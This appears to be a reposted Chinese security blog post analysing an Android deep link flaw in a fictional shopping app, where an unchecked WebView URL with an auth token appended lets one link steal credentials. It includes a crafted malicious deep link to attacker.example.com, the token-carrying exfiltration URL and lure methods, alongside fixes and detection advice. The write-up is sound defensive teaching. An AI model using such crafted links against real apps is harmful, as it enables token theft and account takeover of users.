文章总结: 本文剖析了一起Android应用DeepLink漏洞,因未校验WebView加载URL且自动在查询参数中附加认证Token,导致攻击者构造恶意链接即可窃取用户凭证实现一键账户接管。文章详述了攻击链与Token泄露风险,并给出URL白名单校验、Header传输Token等修复建议,强调了对DeepLink外部输入进行严格验证的必要性。 综合评分: 88 文章分类: 移动安全,漏洞分析,渗透测试
一键账户接管:通过 Deep Link 自动附加 Token 实现攻击
haidragon haidragon
安全狗的自我修养
2026年2月24日 11:10 湖南
官网:http://securitytech.cc
当一个 Android 应用在通过 Deep Link 打开的每个 URL 上静默附加认证令牌时,只需点击一次链接即可完成攻击。
说明:本文中使用的应用名称 “SomeQuickCart” 为虚构名称,用于保护真实应用身份。
Deep Link 在 Android 中如何工作
在深入漏洞之前,先理解 Android Deep Link 机制。
Android 应用可以在 AndroidManifest.xml 中注册特定 URI scheme。当用户点击匹配该 scheme 的链接时,系统会将该 Intent 路由到对应应用。
Android Deep Link 有三种类型:
- URI Scheme Deep Links
自定义 scheme,如
myapp://,仅由该应用处理。本漏洞使用的是这种类型。 - App Links
基于
https://的已验证链接,通过 Digital Asset Links 证明域名归属。 - Intent URIs
格式为
intent://,可直接携带 Android intent 数据。
示例应用注册如下:
<activityandroid:name=".ui.DeepLinkHandlerActivity"
android:exported="true">
<intent-filter>
<actionandroid:name="android.intent.action.VIEW" />
<categoryandroid:name="android.intent.category.DEFAULT" />
<categoryandroid:name="android.intent.category.BROWSABLE" />
<dataandroid:scheme="android"
android:host="Somequickcart" />
</intent-filter>
</activity>
这意味着应用会处理 android://Somequickcart 格式的 URI。
android:exported="true" 表示任何其他应用或浏览器都可以触发该入口。这是 Deep Link 的正常设计,但也意味着入口完全暴露给外部输入。
Deep Link 参数结构
应用支持如下格式:
android://Somequickcart?page=<target>&objectId=<id>&isPush=<bool>&objectType=<value>
参数说明:
page:决定打开哪个页面,例如 product、category、webviewobjectId:目标页面使用的 IDisPush:是否来自推送通知objectType:当page=webview时,表示要加载的 URL
漏洞点就在:
page=webview + objectType=<任意URL>
伪代码如下:
if ("webview".equals(page)) {
openWebView(objectType);
}
没有任何 URL 校验。没有域名检查。没有白名单。
攻击者可加载任意 URL。
致命问题:自动附加 Token
真正的问题在于:
WebView 在加载 URL 时,会自动把当前用户的认证 Token 追加到 URL 作为查询参数。
伪代码:
StringauthToken= SessionManager.getInstance().getUserToken();
if (authToken != null && !authToken.isEmpty()) {
Stringseparator= targetUrl.contains("?") ? "&" : "?";
targetUrl = targetUrl + separator + "tmp_param1=" + authToken;
}
webView.loadUrl(targetUrl);
关键问题:
- 无条件附加
- 不检查域名
- 不区分内部 / 外部
- 以 query parameter 形式发送
结果:Token 会被发送到攻击者服务器。
攻击流程
第一步:搭建攻击服务器
攻击者搭建服务器捕获 tmp_param1 参数。
(此处为示例 Python 服务器代码,略)
第二步:构造恶意 Deep Link
android://somequickcart?page=webview
&objectId=14833
&isPush=true
&objectType=https://attacker.example.com
第三步:诱导受害者点击
可通过:
- 短信
- 邮件
- 自动跳转网页
- ADB 测试
第四步:攻击执行
受害者点击后:
- Android 启动应用
- 解析参数
- 识别 page=webview
- 调用 openWebView
- 获取用户 Token
- 生成请求:
https://attacker.example.com?tmp_param1=VICTIM_TOKEN
- 攻击者服务器记录 Token
整个过程不到 1 秒。
为什么 Query Parameter 泄露极其危险
Token 在 URL 查询参数中泄露,会通过多个渠道扩散:
1. 服务器日志
GET /?tmp_param1=TOKENHTTP/1.1
自动记录。
2. Referer 泄露
如果攻击者页面加载外部资源:
Referer: https://attacker.example.com/?tmp_param1=TOKEN
Token 会泄露给第三方服务。
技术根因分析
该漏洞由三个设计失败共同导致:
失败一:Deep Link 无 URL 校验
直接将外部输入传入 WebView。
失败二:无条件附加 Token
任何 URL 都附加 Token。
失败三:Token 使用 Query 参数传输
Query 参数:
- 被记录
- 被缓存
- 被 Referer 泄露
- 被代理记录
攻击链:
- 攻击者控制 Deep Link
- 应用加载恶意 URL
- 自动附加 Token
- Token 发送至攻击者
- 攻击者复用 Token
- 账户接管
任意一个防御措施都可以阻止攻击。
安全修复方案
1. URL 白名单校验
只允许加载自有域名。
2. 条件附加 Token
只对第一方域名附加 Token。
3. 使用 HTTP Header 传输 Token
不要使用 Query 参数。
正确方式:
headers.put("Authorization", "Bearer " + token);
webView.loadUrl(url, headers);
绝对不要:
webView.loadUrl(url + "?tmp_param1=" + token);
4. WebView 导航拦截
阻止跳转到未授权域名。
检测方法
静态分析
查找:
- getQueryParameter
- loadUrl + token
- exported activity
- token 拼接 URL
动态测试
使用 ADB 发送 Deep Link,并监控网络流量。
常见 Deep Link 漏洞模式
- Open Redirect
- Token 泄露
- JavaScript 注入
- 本地文件读取
- Intent 注入
- 参数篡改
核心总结
Deep Link 是外部输入。
它本质上和 HTTP 请求参数一样不可信。
自动附加凭证是危险设计。
Query 参数是最糟糕的密钥传输方式。
真正的防御必须包含:
- 域名白名单
- 条件附加凭证
- Header 传输
- WebView 导航控制
分层防御缺一不可。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《一键账户接管:通过 Deep Link 自动附加 Token 实现攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论